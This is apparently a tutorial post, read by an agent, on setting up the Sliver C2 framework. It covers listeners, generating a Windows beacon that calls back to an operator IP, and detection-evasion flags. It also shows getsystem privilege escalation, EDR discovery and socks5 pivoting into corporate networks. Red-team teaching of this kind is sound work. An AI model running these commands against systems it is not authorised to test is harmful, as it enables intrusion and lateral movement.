cat posts/Getting-started-with-Sliver-C2.md
Read(posts/Getting-started-with-Sliver-C2.md)
Read 291 lines
Getting started with Sliver C2
Getting started with Sliver C2
Installation
Download both the sliver-server and sliver-client from the release for your platform and you are done :)
$ wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux |
$ wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux |
$ ls |
Now we can run the sliver-server and it will drop us in a console where we can do basically everything we expect from a C2, like generating payloads, beacons, start listeners, interact with our beacons, etc…
$ ./sliver-server |
Multiplayer Mode
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server. Basically, you start the server and you can also start the client that will connect to the server where you get the same console, and the server can be remotely somewhere, but also it can be locally because if you accidently close the server, the beacons will have trouble connecting back to you but if you close the client nothing bad would happen, hope that makes sense.
To setup multiplayer mode, we need to first create a new operator and give it a name, then we tell it that the connection will come from localhost:
[server] sliver > new-operator --name serioton --lhost localhost |
Now, we need to put sliver into multiplayer mode:
[server] sliver > multiplayer |
In another tab we can start the sliver-client and tell it to import the configurations we just generated:
$ ./sliver-client import /home/serioton/sliver/serioton_localhost.cfg |
After that, we just start the client and it will connect to the server
$ ./sliver-client |
We will get this message in the server
[*] serioton has joined the game |
Installing the tools
To install all the third-party post exploitation tools, we can run the following command:
sliver > armory install all |
If we want to list all the available packages, we can run the armory command without arguments:
sliver > armory |
If we want to install a specific package, we can do so by providing the package name:
sliver > armory install rubeus |
Basic Commands
Setup a listener
To create a listener on port 53, we can use the following command:
sliver > mtls --lport 53 |
mtls means mutual TLS which is a TCP listener but the communication over it is encrypted.
We can also start http or https listeners:
sliver > http --lport 80 |
sliver > https --lport 8443 |
List and kill jobs
We can see the listeners we have using the jobs command
sliver > jobs |
To kill a listener, we use the command jobs -k <listener_id> and provide the listener ID we want to stop:
sliver > jobs -k 3 |
sliver > jobs -k 4 |
sliver > jobs |
Beacons
Generating beacons
To generate a beacon, we can use the generate beacon command, in this case we generate a beacon for windows 64 bit, the format is .exe and we tell it to connect to our IP:
sliver > generate beacon --seconds 30 --jitter 3 --os windows --arch amd64 --format EXECUTABLE --http <IP> --name meow --save /tmp/beacon.exe -G --skip-symbols |
The -G skips Shikata-Ganai-Encoding and --skip-symbols will leave sliver strings inside the binary. This reduces file size but can lead to detection.
Listing and interacting with beacons
To list all the beacons we have, we can use the beacons command:
sliver > beacons |
To interact with a beacon, we can run the use command and give it the beacon ID:
sliver > use ede730e4 |
Sessions
To turn a beacon into a session, we run the interactive command:
sliver (meow) > interactive |
This will create a running task that will open an interactive session when it’s time to execute again
[*] Session 2b8213e1 ... |
We can list sessions using the command sessions. If we want to switch to the context of the session, we can do so by using the following command:
sliver (meow) > use 2b8213e1-5f9e-4d4f-b003-b17e62a239c3 |
Other useful commands
execute-assembly
With execute-assembly we can run a .NET assembly (DLL or exe) in memory, by spawning a new process (notepad by default) that hosts the .NET-CLR.
getsystem
Spawn a new session as NT AUTHORITY/SYSTEM, by injecting into a system process when you are already in a high privileged shell.
ps
List processes and identify running security products such as AVs and EDRs.
socks5
Start a socks5 proxy in your implant with socks5 start. This proxy can then be used with e.g. proxychains to tunnel your tools through the implant into the corporate network.
sideload
Load and execute a shared object (shared library/DLL) in a remote process
Conclusion
This was a basic intro to sliver C2, but there’s a lot more you can do with it. Checkout the official documentation here: https://sliver.sh/docs. It’s very detailed and explains many things you can do with Sliver.